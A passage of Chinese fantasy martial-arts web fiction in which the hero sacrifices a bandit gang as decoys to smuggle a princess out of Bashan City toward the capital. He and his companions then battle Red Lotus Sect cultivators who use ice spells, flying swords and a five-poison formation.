“若能开启大门,你就自由了。”云缺松开对方。 门六连忙跑到大门前,一头扎了进去。 随后大门泛起一层流光,中心处渐渐开裂,呈现出一条通道。 “快、快走!我坚持不了多久!” 门六的声音听起来十分艰难。 云缺几刀斩断马匹与车辆之间的绳子,与牧青瑶和萍山君分别上马,冲向城外。 并吩咐一众山匪道: “兄弟们,断后!” 常威见状有样学样,骑上一匹马狂奔向城外,他身后是瞎子。 车队总共五匹马,这下子只剩一些装着茶饼的大车,和百名发愣的山匪。 等五匹马先后冲出城外,城门的出口瞬间合闭,门六从大门里摔出城外。 他也不傻,没跟着云缺等人一起跑,连滚带爬逃进旁边的小树林。 反正他是个小角色,没人认得。 可城门口的百名山匪,却是个无法被人忽略的目标,尤其这群人全都拿着重弩,一看就是悍匪。 眼看着大批守军冲到近前,山匪们终于恍然大悟。 断后,不就是炮灰的意思吗! 合着打劫了将军府和赌坊,全都白忙了! 山匪们终于知道,那位二当家,拿他们当了炮灰! 城门封死,逃不出去。 追兵赶来,又打不过。 这些山匪此时心灰意冷,满心绝望。 他们再也不想当山匪了。 这行当实在太危险。 不仅打劫的时候,把脑袋别在裤腰带上,随时都有身死的危险,打劫完还得提防着被人家当炮灰。 当山匪,真他娘没信用啊! 守军已经杀来,山匪们不肯等死,以装茶饼的大车做掩体,用军弩还击。 尽管八山城的守军人数众多,竟被压制在城门口,一时难以靠近。 山匪与守军双方各用军弩攻击,僵持了足有小半个时辰。 这时一匹高大的黑马从街头冲来,速度之快如一阵旋风,很快到了近前。 马上的将军身形魁梧,手中倒提着一把一人高的重刀。 黑马片刻不停,越过军兵后直接冲向城门。 在一片箭雨,如入无人之境。 山匪的弩箭根本伤不到一身鳞片的黑马。 箭矢在击中那将军之前,统统被一层无形的壁垒挡下。 黑马一声长啼,直接撞翻了货车,从百名山匪中间踏了过去。 山匪们只看到有刀影闪烁了一下,随后就纷纷呆滞在原地。 等马蹄停住, 一众山匪的身体上,出现了一道道血线。 噗通!噗通! 尸体倒地。 没有一具是完整的! 一骑当千! 苏鸿山面沉似水,端坐在马上,回过头,盯住唯一留下的活口。 “你们是什么人。” 收到消息后,苏鸿山先去的西城门。 亲手斩杀了城外的两百多山匪后,苏鸿山觉得十分奇怪。 这群山匪什么也不做,只烧城门,看起来像是在接应什么。 可城里根本没人出来! 随后苏鸿山又接到消息,东城门出事,他这才亲自赶来。 最后的山匪早知道自己必死无疑,也不怕了,大吼道: “爷爷是黑风寨的悍匪!今儿打劫你们八山城!” 说着用军弩对准苏鸿山,扣动了机关。 箭是出去了。 根本没伤到苏鸿山,被一刀从中间切开。 刀气直接将山匪劈成两半。 五品武者,何惧弓弩。 军中的这些重弩对普通人是致命利器,对九品八品武者来说都有着不小的威胁。 可面对五品武夫,重弩不过是小孩子的玩具罢了。 单凭着本体的强大气机,即可轻易抵挡。 “黑风寨……” 苏鸿山皱起眉。 他怎么也想不通,为何外面的山匪如此猖獗,敢来八山城闹事。 当他这位坐镇八山城的五品将军,是个摆设? 苏鸿山看了眼城门口的守军。 除了一个校尉被杀之外,其他几十人全被打得鼻青脸肿站不起来,但都活着。 “将军!佟岐的人头!” 一名近卫从牛皮袋子里翻出人头,急忙向将军禀报。 看到人头,苏鸿山的脸色更加阴沉。 “杀我八山城的偏将,好大的胆子!” 苏鸿山冷声道:“城中何处还有匪患,今日定将这些山匪斩尽杀绝!” 守军早已开始全城搜查,用不了多久即可传回消息。 一名城墙上的守军头领急匆匆跑下来,禀报道:“将军,有五个家伙逃出去了!” “饭桶!”苏鸿山闻言大怒,道:“放走山匪,军法处置!” “冤枉啊大人!我已经提前下令放下吊索门,他们本该被困在城里,可不知道怎么就出去了呀!城墙上的军兵都能作证的!”小头领吓得脸色苍白,苦苦辩解。 苏鸿山渐渐锁起长眉。 他知道这些手下不敢说谎,这种事一查即可清楚。 有人当真在城门关闭之后,还能逃出城外。 “原来黑风寨里有高手,好!本将军来会一会你们!开门,随我追!” 苏鸿山一声令下,城门重新开启。 高大的黑马一骑当先,冲出八山城,同时苏鸿山放出一只雄鹰。 那是他驯养的九阶妖鹰,专门用来在高空观察敌情寻找目标,是天然的斥候。 五百名骑着战马的护卫紧随其后。 黄昏下,东门外,一路烟尘大起。 …… 此刻,云缺等人已经逃出八山城百里有余。 越跑,常威越觉得痛快。 多年大仇得报,常威没想着自己能活着离开八山城。 今天就算死在城里,只要杀了佟岐,他也觉得够本了。 至于那些手下,常威才不在乎。 都当了山匪,谁还讲什么义气,你卖我,我坑你,这才是山匪的生存之道。 跟一群杀人越货的家伙讲义气,那是傻瓜。 不同于常威的痛快,旁边的瞎子越来越觉得蹊跷,他一个劲的回头,辨认方向。 瞎子终于忍不住了,对常威道: “大当家,我们是不是走错了,这条路不是西城门啊!” 常威恍然大悟。 “是啊!我说怎么没看到门口接应的那些兄弟,我们好像走了东城门,再往前是……天祈城!” 常威大惊,连忙呼喊云缺。 “二当家!咱们走错路了,再往前就到皇城啦!” 云缺气定神闲的道: “没走错,我们要去天祈城。” 常威都听傻了。 咱们是山匪,去天祈城干嘛? 打劫皇帝吗! “不能去天祈啊!到了天祈等于自投罗网,皇城里的军兵会把咱们砍成肉泥!”常威大惊道。 “大当家当时不是答应得好的么。”云缺笑道:“只要杀了佟岐,哪怕我去宰皇帝,你也跟着一起上,怎么,后悔了?” 常威的眼珠子差点瞪出来,惊讶道:“那不是说说嘛,你不会来真的吧!” “我说了要干票大的,八山城才有几个钱,要劫就劫天祈城。”云缺嘿嘿一笑,道:“我们去打劫皇帝!” 常威和瞎子表情相同,瞪着眼睛,张着大嘴,一脸呆滞。 他们现在的脑子里只剩下一个念头。 眼前的二当家,肯定是疯了! 第64章 六品筑基 八山城与天祈皇城之间,不足三百里。 快马半天即可抵达。 但云缺骑的是拉车的马匹,耐力一般,速度不足,接连狂奔了百里,此刻已经累得发虚。 再跑下去,很容易直接累死。 远处, 已经能看到一座巨大的城池如凶兽般卧在地平线尽头。 天祈皇城,遥遥在望。 越接近皇城,云缺的神色就愈发凝重。 八山城里的瞒天过海,不知能否瞒得过红莲教真正的高手。 牧青瑶的脸色变得略微苍白,看得出小郡主此刻十分紧张。 希望在即。 可抵达希望之前,往往会经历最为漫长的黑夜。 常威和瞎子已经没办法停下,只能硬着头皮跟在云缺身后往前冲。 停下来的话,就要面对八山城的追兵。 尽管现在看不到追兵的踪迹,但傻子都知道八山城里的守军肯定在追来的路上。 否则让一群山匪从西城门一路杀出东城门,再逃之夭夭,那镇守八山城的将军别想在大晋混下去了。 轻则丢官罢职,重则锒铛入狱。 太阳已经沉入地面,只剩余晖。 远离了八山城,云缺准备让萍山君现出妖身,加快速度赶往皇城。 可正这时,云缺看到了前方路边的一个茶摊。 马匹渐渐减速,最终停住。 常威和瞎子急忙勒马,好不容易才停下,两人十分纳闷,心说逃命的节骨眼,怎么二当家还想喝点茶? 云缺当然不想喝茶。 更不想遇到这个茶摊。 可是没办法, 茶摊的主人就坐在路边,面带笑意的等待着来客。 这人是个容貌普通的六旬老者,穿着粗布衣服戴着旧帽子,坐在板凳上手里捧着一杯热茶。 在旁边的桌子上,燃着一只红烛。 天还没彻底黑下来,周围环境清晰可辨,按常理,现在不用点烛火。 可桌上的那红烛,看似寻常暗淡,却给人一种刺眼的感觉。 仿佛那不是红烛,而是一把藏在烛火里的利刃! 火烛使者。 云缺看到老者的第一眼,便确定出对方的身份。 红莲教的高手! 这座不起眼的茶摊,是红莲教拦截灵芸郡主的最后一道防线。 “客官远路而来,不如喝杯茶,解解渴再上路。”老者声音洪亮的道。 “你的茶不行,没味道。”云缺抬手扔出十几个铜板,道:“下一波客人算我请。” 老者一个不落的接住铜板,摇了摇头,笑道:“茶水钱倒是够了,买命钱可不够。” “多少才够呢。”云缺冷淡道。 “别人的价格,千两黄金,你们的话,只要命,不要钱。”老者始终坐在小板凳上,语气平静如唠家常。 可说出来的话,却事关生死。 “想要我的命,不太容易。” 云缺说罢纵马向前,打算冲过这处茶棚。 老者还是没动。 而是将手里的茶水洒了出去。 哗啦一声。 一杯热茶尽数落在路上,随后咔咔声暴起! 落地的热茶在瞬间凝固成一朵朵三尺多高的冰晶莲花。 莲花的每一片花瓣都锋利如刀,马匹在前冲之际被扎得浑身是血,哀鸣着摔倒。 云缺早有准备,立刻弃马,在空中一个倒翻稳稳落地。 冰晶莲花足有数十朵至多,连成一条线,封死了众人的去路。 在看到莲花的那一刻,牧青瑶低呼道: “洒水成冰,六品筑基!” 茶摊老者,竟是一名六品筑基境的道门高手。 “郡主眼力过人,难怪能走到这里,可惜,你回不去天祈喽。”老者惋惜道。 “六品高手摆茶摊,红莲教真下了血本啊,你在这等多久了。”云缺语气平淡的道。 “一个多月,这些天卖了不少茶,够我去天祈吃一顿小酒。”老者微笑道。 “在红莲教忙活一个月才能吃一顿小酒,不如跟着郡主,天天大鱼大肉多好。”云缺道。 “老啦,鱼啊肉啊的吃不消,我现在就想吃点小菜,喝点小酒,等着入土喽。”老者感慨道。 “不用等太久,今天就送你入土,如何。”云缺道。 “好啊!只要你有这个本事,老夫求之不得。”老者笑道。 一老一少之间的谈论,轻松得犹如闲聊,可听在常威和瞎子耳朵里,要多恐怖有多恐怖。 那可是六品强者! 连萍山君都不是对手,在场这几位今天根本活不成。 更让常威震惊的是,跟着云缺的那个小姑娘,居然是灵芸郡主! 常威并不傻。 他脑筋转动,终于想通了一些事。 为何从西门进八山城,反而从东门逃走。 为何杀掉佟岐制造混乱,引一群守军追杀。 原来云缺不是要去宰皇帝,而是要护送郡主回皇城! 三百多名山匪,都成了整个计划中的炮灰! 当然也包括他这个黑风寨大当家。 想通一切之后,常威对云缺没有丝毫怨恨。 他早已做好了死掉的准备。 哪怕能跟佟岐同归于尽,对常威来说都是最好的结果。 何况能活到现在。 常威直勾勾的盯着牧青瑶,眼底深处浮现出一种失去了多年的光泽。 那份光泽,名叫自豪! 那是常威当年身为八山城守军之时,眼里才会拥有的颜色。 他为自己的职位自豪,为自己的俸禄自豪,为自己的家人自豪。 自从落草为寇,常威再没了任何自豪可言。 他注定会成为常家最大的污点,最大的耻辱,死去之后也没脸去见地下的家人。 因为他是贼! 冷血卑鄙,杀人如麻的山匪! 如今,常威看到了一个机会,一个能让自己重新自豪起来的机会。 一个能洗刷常家污点的机会! “老贼!休要张狂!” 常威下马提刀,指着老者骂道:“只要我常威不死,你别想动郡主分毫!” 常威的气势,把一旁的瞎子吓得不轻。 刚刚瞎子觉得二当家疯了,现在倒好,连大当家也疯了! 人家是六品高手,你一个八品武夫还敢在这叫骂,这不是找死吗! 牧青瑶也有些诧异。 她以为常威知道真相,即便不骂自己,也得恨死了自己和云缺。 毕竟黑风寨,因为自己的关系而覆灭。 唯有云缺,此刻看出了常威的心思。 “大当家有骨气,是条汉子!你战死之后,郡主定会为你请功!”云缺低喝道。 “多谢郡主!” 常威一声暴喝,义无反顾杀向那老者。 常威很清楚,这次,也许是他这辈子最后一个洗白的机会。 用他自己的命! 见常威动手,瞎子只能跟着一起冲。 同一时刻,云缺和萍山君也动了。 四个人,分为四个方向杀向茶棚。 然而不等四人接近,老者一声大笑,施展出高深的术法。 只见他双手结印,口中念念有词,喝道: “花开九朵,剑分十方,御剑术,分光化影!” 嗖一声。 一道小巧的飞剑从老者掌心冲出,迎风而长,刹那间成为正常大小。 于此同时,剑体流光暴起,一分二,二分四,眨眼间分化成百道长剑! 百剑围拢,形成剑牢般将众人困在其中。 六品道门强者的手段,云缺不敢怠慢,急忙护住牧青瑶,以长刀防御。 百道长剑中只有一柄是飞剑实体,但其他的剑影依旧有着不弱的攻击力,八品武者难以抗衡。 每一道剑影的攻击,都需要云缺谨慎抵挡。 连云缺都难以抗衡,何况常威和瞎子,很快两人身上被切开好几条口子,鲜血直流。 百道剑影不断旋转,卷动起一股狂风。 飞沙走石,沙尘大起。 突然间,一道凌厉的剑光从云缺头顶袭来。 云缺目光一动,抬手斩出一刀。 出刀的那一刻,刀体上凝聚出血色竖瞳。 咔!!! 这一刀,才是云缺的全力。 云缺等的就是这个时机! 对方的飞剑本体一旦出现,便是反击的开始。 正常的八品武者,绝对挡不住六品修士的飞剑本体。 不过云缺这一刀,动用了妖之力! 飞剑与黑刀撞击的瞬间,老者稳重的神态忽然变幻了一下,有些吃惊。 他祭炼多年的本命法器,居然被一个小小的八品武者挡住了! “萍山君!” 云缺一声暴喝。 始终躲避剑影的萍山君立刻会意,嗷呜一声现出硕大的虎身,仗着妖身强横硬是冲出剑影的包围,猛扑那老者。 “七阶虎妖。” 老者一声冷哼,在虎口吞来之前掐碎了一张符箓。 他的周身随之笼罩起一层金光,好似在身外多出一个金色的蛋壳。 防御符箓,金刚符! 萍山君一口咬在符箓上,将金光咬得暗淡几分,却没能咬开这层屏障。 云缺趁机拉着牧青瑶冲出剑影。 常威与瞎子也狼狈的逃了出来。 老者恢复了平静之态,颔首道: “你不是普通武者,确实有两下子,加上七阶虎妖,怪不得能杀掉左白右黑,不过,在六品面前,你们毫无胜算。” “要什么胜算,能宰了你就够本!”云缺不再废话,配合萍山君发动猛攻。 只要能接近,即便那老者有防御符箓护体,早晚会被妖刀切开。 武夫最大的威胁,就是近身作战。 别说六品,五品高手也不敢轻易让一名八品武夫靠近自己。 云缺脚下刚动,那老者已经再次掐动出咒印。 “飞雪为牢,天雨成狱,冰杀!” 随着老者的喝声,周围空气突然转冷,无数雨滴与雪花凭空浮现。 雨雪在空中互相融合,形成坚冰,将方圆十丈之内转化为冰天雪地! 冰封法术! 此刻在茶摊之外,形成了一幕奇观。 一块小山般的冰块,横在长路当中。 云缺,牧青瑶,萍山君,常威与瞎子尽数被困在坚冰里。 第65章 只求一个无罪之身 世上各家修行者,均以九品划分。 九品之内,其实又分为三个大境界。 以三品为一等,分别是下中上三等。 九品八品七品,为下等,六五四为中等,三二一为上等。 七品与六品之间的差距,犹如鸿沟。 六品修士所掌握的能力,远超七品修士的想象。 尽管云缺动用出堪比七品武者的战力,加上萍山君这头七阶虎妖,想要战败一名六品修士,可以说希望渺茫。 道门六品筑基修士,以修炼内丹为主,可施展强力法术,御剑飞行,洒水成冰。 这种程度的修士能沟通天地灵气,借助灵气之力,大幅增加自身战力。 若无法近身,连同阶的六品武者都会被活活耗死。 坚冰之内。 云缺不断挥斩长刀,堪堪挖出一个能让自己和牧青瑶容身的空间。 但可怕的是, 冰层被切碎后还会自行生成,快速凝固,仿佛无穷无尽! 照这么下去,早晚会冻成冰雕。 萍山君仗着虎身强横,一时不怕,可时间长了它也受不了。 更别提常威和瞎子。 两人背靠着背,玩命切冰,切开的速度还不如冰层蔓延的快,眼看着就要冻住。 常威身上十几道伤口,流出的鲜血直接冻成血块,他两眼冒着血丝,做出一个疯狂的决定。 “瞎子!你来切冰!”常威吼道。 “我、我一个人切不动啊!”瞎子哀嚎道。 “切不动也给我切!老子拼了!” 常威把长刀扎在面前的冰层,猛然握拳,吐气开声暴喝道: “冲神脉!破神藏!凝神骨!” 常威吼出的同时,丹田随之炸起一团气浪。 濒死关头,常威决定冲击七品炼神境! 这么多年的山匪生涯,其常威没放弃修炼,他一直苦苦打熬本体,早已到八品圆满。 然而冲击七品炼神境,对武者来说极其凶险。 一个不慎,经脉尽断是最轻的,很容易神魂具散,死于非命! 九品炼体,八品炼骨,均为打熬肉身,修行中吃的苦都能在身体上得到展现。 而七品炼神,需要打熬的已经不是肉身本体,而是神魂之力,其中的凶险与艰难皆在于神魂是否足够强大。 冲神脉,破神藏,凝神骨,三气朝元,炼神还虚。 冲神脉,指的是以神魂之力融汇奇经八脉。 破神藏,指的是破开神识宝藏开辟识海空间。 凝神骨,指的是将神魂凝入筋骨,淬炼出一幅神骨合一的强大肉身。 至此神魂之力与肉身完美融合,内观定照,天人合一。 武者冲击七品,需要渡过三个阶段,冲、破、凝! 每一个阶段都是一道难关。 极少有人一口气连破三关。 况且接连冲击这三关,危险会越来越大,几乎必定失败。 但常威已经没退路了。 死战当前,以他八品的修为很快就得战死。 还不如在临死之前,赌一赌运气,冲一冲七品! 若能达到七品炼神境,至少能多出一份生机。 不知是常威今天运气好,还是运气坏,他在第一关就差点失败。 神魂融入经脉所产生的反噬之力,直接让常威喷出三口鲜血。 鲜血凝固在冰层上,好似三朵血色的玫瑰,令人触目惊心。 险之又险的冲脉成功后,常威一咬牙,继续破神藏。 另一边。 云缺的本体足够强悍,冰块携带的寒气一时无法伤到他,但牧青瑶快挺不住了。 小郡主的眉毛上铺着一层白霜,小脸儿冻得苍白。 必须逃出去才行! 云缺目光一凝,浑身煞气暴起。 冰封是法术。 云缺没办法破解,不过有一个办法能延缓。 那就是借助自身强烈到极致的煞气,来影响周围的天地气息,让对手的法术迟缓下来。 只要结冰的速度延缓那么一点,云缺就有办法冲出去。 果然。 在煞气升腾之际,快速凝结的冰层变得慢了下来。 云缺趁机联手萍山君,以妖刀之力将这处冰牢硬生生开出个通道,拉着牧青瑶逃了出去。 尽管逃出冰块,云缺与萍山君的身上也结满冰层,像个冰雕似的。 见云缺逃出冰封,那老者有些意外。 很快目光中闪烁起明悟之色,颔首道: “不错,你是第一个能从冰杀中逃生的八品武夫,如此深厚的煞气,确实能达到影响法术的程度,看来你绝非无名之辈。” 云缺动用内劲,震碎身上的冰层,道: “当然有名字!老家伙听好喽,本少爷乃是八山城的梅钱,你到知远县打听打听,谁不知道我的大名!” 这时候牧青瑶要不是小脸冻僵了,没有表情,她非得啼笑皆非不可。 果然是半个朋友,卖起来这也太痛快了。 老者微微点头,其实他根本没听过。 “该你了,敢不敢留下名号!”云缺一指老者道。 “红莲教火烛使者,宏河是也。”老者干脆利落的报出名讳。 既然认可了云缺的能力,名为宏河的老者便将云缺视作对手。 留下名字,是对敌人的一种尊重。 “又是左白,又是右黑,现在来个红河,你们红莲教是不是还有个叫绿树的。”云缺看似打趣道。 说话同时,云缺的目光不着痕迹的瞄了眼高空。 极高的天空上,有一只金色的雄鹰在盘旋。 “区区俗名而已,何必在乎,既然你破了老夫的冰杀,接下来,便尝一尝沙雨的滋味。”宏河掐动法诀。 云缺哪能给他机会,与萍山君猛扑而上。 虎爪与长刀齐齐落下,终于破开防御符箓。 但宏河并不吃惊,而是微笑着祭出一面小巧的盾牌。 别看盾牌不大,瞬间幻化成三面重盾,牢牢护住本体。 云缺的长刀与萍山君的虎牙一时间根本破不开。 一人一虎的攻势实在太猛烈,重盾不断震荡,影响了宏河,他掐动的法诀迟迟难以完成。 “喝!” 一声大吼伴着冰块碎裂声炸起。 常威像个疯子般冲了出来,一刀砍在一面重盾上,留下一道深深的痕迹。 这一刀,比他之前全力斩出百刀的力道都要强大。 云缺一眼看出对方的变化,诧异道:“七品炼神境!你居然破境成功了!” “哈哈!今天运气好!二当家带着郡主先走,我和老虎缠住这老鬼!” 常威疯狂的连斩数刀,猛然回头望向牧青瑶,眼珠遍布血丝道:“郡主别忘了替我请功!不要奖赏,只求陛下赐我一个无罪之身!” 无罪之身,常威才有脸去九泉之下与家人相见。 牧青瑶郑重的点了下头。 云缺当机立断,一击重刀斩落后抽身就走,拉着牧青瑶逃向天祈城的方向。 瞎子这时也哆哆嗦嗦的冲上去,跟常威与萍山君一起拖住宏河。 离开茶摊后,云缺直接背起牧青瑶。 牧青瑶速度太慢,让她跑的话,骑马都能追得上,何况宏河那等高手。 背上牧青瑶之后,云缺左眼随之转为殷红。 “妖之力!” 嘭!! 脚下炸起一团气浪,云缺爆发出全力,在大路上狂奔。 速度之快,不亚于脱缰野马,虽说追不上萍山君那等七阶妖兽,却比普通战马都要快上几分。 这最后一段路,云缺没有保留,用尽所有力量冲向天祈皇城。 牧青瑶只觉得耳边生风,眼睛都睁不开。 当云缺狂奔出不足一炷香的时间,茶摊外的恶战已然分出胜负。 萍山君身上挨了几十剑,血肉模糊,浑身骨头断了好几处,变化为人形躯体,奄奄一息。 常威和瞎子更惨。 两人身上全是血迹,皮开肉绽,趴在路边一动不动。 宏河冷哼了一声,点手唤回飞剑。 被七品武夫与七阶妖兽近身围攻,他也不敢大意,很是费了一番手段才将对手干掉。 云缺已经逃得没了影子,宏河倒是不急。 这里距离天祈城还有很远,一个八品武夫速度再快也不可能马上抵达,只要他御剑飞行,很快即可追上去。 看了眼奄奄一息的萍山君,宏河正打算杀掉虎妖,忽然耳朵动了动。 他听到一种飞行的声音。 猛然抬头,宏河看到了头顶盘旋的金色雄鹰。 随后宏河的脸色变得难看起来。 “金头鹰,苏鸿山!” 宏河很清楚那金鹰是谁的。 金头鹰既然出现,说明八山城的将军苏鸿山正在赶来的路上。 宏河身为六品修士,对付七品武夫与七阶妖兽可以说手到擒来。 可面对苏鸿山那种五品武者,宏河绝无胜算。 宏河觉得十分不解。 怎么灵芸郡主在前边跑,苏鸿山在后面追呢? 这种古怪的局面,让宏河愣怔了片刻。 他敢在这里设伏,拦截灵芸郡主,自然算到了苏鸿山会护送。 如果出现那种状况,根本无需他出手,因为教主就在八山城。 他宏河不是苏鸿山的对手,但在教主面前,一个五品武夫可不够看的。 正愣怔的工夫,宏河看到眼前凭空飘落一朵花瓣。 那是莲花的花瓣,艳红如血。 随着花瓣飘落,一道女子低沉的声音传来。 “退下吧,这里不用你了。” 听到声音后,宏河立刻躬身道:“属下遵命!” 花瓣随风飘荡,很快消失无踪。 宏河知道,教主已经亲自出手,灵芸郡主这次是绝对逃不掉的。 宏河低着头,感受着脚下地面传来的震颤。 他回身看去。 八山城方向,一片烟尘大起。 大批军兵正快马赶来。 隐约能看到最前面的一匹黑马,快如闪电朝这边冲来。 宏河目光一冷。 他从茶摊里拿出一大壶茶水,抛洒在路上。 “冰墙,起!” 轰隆隆! 在宏河的施法之下,一道长有十丈,厚有丈许的高大冰墙凭空拔起,横在路上。 做好障碍,宏河不再迟疑,踏上飞剑腾空远去。 第66章 红莲教主 不多时,苏鸿山率领的军兵抵达茶摊附近。 看到冰墙后,苏鸿山气得头顶要生烟。 这一路追踪,苏鸿山越追越气。 一群山匪而已,不仅在八山城杀人放火,还敢逃向皇城。 分明是把他苏鸿山当傻子耍呢! 那几个山匪都不用进皇城,只要在天祈城大门外拉泡屎,他苏鸿山就再也没有脸面留在军中,自己就得告老还乡。 堂堂五品境界的将军,坐镇八山城这处要塞之地,任务是确保皇城安危。 可今天被一群不入流的山匪把八山城杀了个通透。 苏鸿山带着一腔怒火,纵马冲向冰墙,速度非但不减反而越来越快。 抵达近前后,苏鸿山一声暴喝,重刀斩出。 “给我开!” 咔嚓!!! 轰隆!!! 一刀,将厚重的冰墙直接劈碎! 轰隆隆的闷响中,冰块纷纷落地。 苏鸿山的战马踏着冰块冲了过去。 他发誓要将那几个山匪拦截在皇城之前。 一群军兵拼命抽打马匹,即便如此也追不上将军,只能在后面尽力跟随。 等大军过后,茶摊附近安静下来。 萍山君艰难的抬起头,看看四周无人,长出一口气。 伤势虽重,还没到丢命的地步。 以它妖族的本体,修养些时日即可好转。 它的伤势如果换成是人,哪怕武夫,也早就丧命了。 “一块行妖令,差点要了老命,这笔买卖好像赔大了啊……” 萍山君嘀嘀咕咕爬起来,逃进路边荒林。 等它刚走,趴在血泊里的常威也挣扎着爬了起来,龇牙咧嘴,五官挪移。 “幸亏老子会装死,要不然就真死了。”常威后怕不已。 他的确被重创,要不然也装不了这么像,加上宏河被天上的雄鹰吸引了注意力,没查看,这才逃过一劫。 常威刚想开溜,找个地方疗伤,要不然真挺不住了。 刚走两步就听有人喊。 “大当家,我也没死!” 瞎子艰难的伸出手,虚弱道:“拉我一把!” “你他娘也装死啊!” 常威哭笑不得的拉起瞎子,两人踉踉跄跄逃进另一侧荒林。 他们没敢走萍山君那边,生怕虎妖为了恢复再把自己给吞了。 …… 天祈城与八山城之间的官道上,一道黑衣身影狂奔不停。 云缺估摸着距离天祈城还有不到百里。 快了。 希望就在眼前! 正准备加把力气再跑快点,云缺的脚步戛然而止。 平坦的官道前方,出现一些东西。 一只蜈蚣,一条毒蛇,一只蝎子,一只壁虎和一只蟾蜍。 五种毒虫并不大,一字排开趴在路上,一动不动,看不出死活。 若是寻常毒物,云缺根本不在乎,跃过去或者直接踩死就行。 可对面的五只毒虫并不普通。 在云缺加持了妖力的左眼之内,能看到五只毒虫上方各自连接着一个硕大的虚影! 小小的蜈蚣上方,是一条数丈长短的巨大蜈蚣。 其他毒物也一样。 “五毒虫……” 云缺将牧青瑶轻轻放下,神色冷峻,盯着对面五只小虫。 牧青瑶也看到了毒虫上的强大魂体,忌惮道: “五只妖虫经过炼化,形成剧毒之物,通常会用来布置奇毒之阵。” 云缺环顾四周,突然大喊道: “谁家虫子挡路了,能不能让让啊!” 喊声未落,一朵红色的莲花从天而降,化作一个莲台。 莲台之上,盘坐着一名女子,身穿道袍,黑纱遮面,只能隐约看出轮廓,看不到具体容貌。 云缺的心头随之一沉。 红莲教的强者,到底还是追了上来。 “这位女道长有何贵干,我们小夫妻是买卖人,打算进皇城做点小买卖,过路费只要不贵,我们肯定给。”云缺冷峻的神色瞬间变得温和,笑容满面的道。 盘坐红莲的道姑发出低沉声音: “灵芸郡主尚未出阁,你如此称呼,难道不怕皇帝怪罪。” “谁?谁是灵芸郡主?这是我媳妇,女道长认错人了。”云缺很真诚的说着谎。 “本座红莲教教主,你觉得,我会认错人吗。”道姑声音平淡的道。 “好吧,你没认错,不如说个价钱,咱们研究研究,能用钱解决的事,最好别动手。”云缺道。 “我要的价,你出不起。”道姑平静道。 “那可不一定!这些年我也攒了不少银子,加上郡主的私房钱,也许能凑够呢。”云缺道。 “死到临头,还能说笑话,以你这种年纪,有如此心计实在难得。” 道姑赞了一句后,一语道破天机,道: “你在拖延时间,等苏鸿山到来,八山城的大军至少要一炷香之后才能到,你觉得自己能挡住我一炷香的时间么。” “不好说,我又没试过。”云缺道。 道姑冷笑一声,道:“我见过很多聪明的年轻人,你的心机,是最深的一个,八山城这场瞒天过海之计,本座差点被骗了过去。” “不知教主如何看破的。”云缺谦虚的请教道。 “你唯一的破绽,在东城门,你不该只杀一个红莲教的眼线,你应该把当时守在城门的所有军兵统统击杀,再逃出城外,这样才是真正的悍匪,不留半点痕迹。” 道姑声音冷淡,继续说道:“可惜,你的心还不够狠,不愿枉杀无辜,这是你最大的破绽,成大事者,需漠视苍生,与本座对弈,你终究棋差一着。” “漠视苍生……”云缺目光转冷,道:“苍生的死活我不管,我只想铲平你们红莲教!” 道姑沉默了一下,语气中透着一丝疑惑道: “你完全可以舍弃灵芸郡主,也许能留一条命在,我红莲教,难道与你有死仇?” “当然有仇!你们红莲教杀了我没过门的大媳妇和二媳妇,你说说看,这是不是不死不休的死仇呢。”云缺冷漠道。 道姑黑纱下的眉峰微微皱了皱。 云缺的这句话,她无论如何也无法理解。 杀一个媳妇也许是巧合,怎么连杀两个? 还是没过门的媳妇? 红莲教这位教主即便想破头也想不到,她下达追杀灵芸郡主这道命令后,牵扯了藏石镇陈员外家的女儿,而乌家寨的人又不顾云缺的警告,拿乌灵儿喂了妖禽。 这便是云缺与红莲教结仇的真相。 “既然有仇,那便解决即可,本座不喜欢留着仇人在世上,所以,你可以死了。” 道姑轻语中,抬了下单手。 道路中间的五只毒虫立刻挪移开来,围住云缺与牧青瑶,同时虫口大张。 呼!! 五团黑气从五只毒虫口中喷涌而出,刹那间组成一片遮天蔽日的毒雾。 云缺和牧青瑶根本没机会逃脱,被笼罩在毒雾当中。 “五毒之阵!金丹修为!” 牧青瑶道出这句话后立刻掩住口鼻,屏住呼吸。 点出对方的境界,是在告诉云缺,红莲教教主有着道门五品金丹境的修为。 毒雾弥漫,好似一场索命的风暴,封死了周围十丈之地。 为了不被毒雾侵袭,云缺不断挥舞长刀,打算用刀气将毒雾震开。 效果并不明显。 这些毒雾与空气不同,不仅携带着剧毒还难以驱散,沉甸甸如同一道龙卷风一般。 金丹修士出手的法术,自然非同小可,不过云缺的心头反而没那么沉重。 金丹是五品! 尽管是难以匹敌的强敌,但好消息是,至少红莲教教主不是四品高手。 五品的话,也许今天还有机会逃生,若是真来一位四品强者,除非不计代价放出妖刀里的怪物,否则云缺想不到任何脱身之计。 见毒雾难以驱散,云缺拉住牧青瑶的手,朝着东侧冲去。 这些毒雾无孔不入,即便不呼吸也会顺着人的七窍侵袭,中毒是迟早的事,必须尽快突围才有活路。 刚冲出两步,一只硕大的蜈蚣摇头摆尾出现在眼前。 毒雾里的蜈蚣不再是之前那么一丁点,而是四丈多长,宛若巨蟒! 蜈蚣的长爪不断摆动,竟在毒雾里浮空爬行,腭牙大张,狰狞无比。 凶蜈挡路,云缺选择正面交锋。 五毒阵里总共五只毒虫,肯定蛰伏在四周,从其他方向走一样会遭遇毒虫。 与其浪费时间被毒雾侵染,不如以最快速度干掉一只,冲出包围。 长刀上暴起血色。 云缺单臂挥斩,全力劈出一刀。 轰鸣大作! 凶蜈以腭牙硬抗刀锋,硕大的身躯被震得卷成一团朝后飞去。 云缺也不好受。 脚下连连后退,带着牧青瑶也跟着后仰,险些摔倒。 乍一交锋,云缺立刻判断出凶蜈的等阶。 七阶毒虫! 而且是经过炼化的七阶毒虫,其真正的力量远超同类,萍山君都挡不住。 五只七阶毒虫组成的五毒大阵,足以困住一名六品修士! 由于刚才的一刀用力过猛,云缺憋着的这口气只能呼出,可再吸的话就是毒雾了。 牧青瑶也一样。 没有修为的小姑娘,连番跑动下,哪里还屏得住气息,与云缺同时到了极限。 两人不得已,只能张口呼吸。 周围的毒雾就像活物般,随之侵向两人的口鼻。 毒类法术,可以说是武者的克星。 其他法术哪怕风火雷电,大不了本体受创,只要不死不残,武夫仍有一战之力。 可一旦中了剧毒,那就彻底玩完。 就在毒雾即将入口的刹那,云缺与牧青瑶身上同时升腾起一层青色光华。 那光华彷如有奇效一般,竟将毒雾隔绝开来。 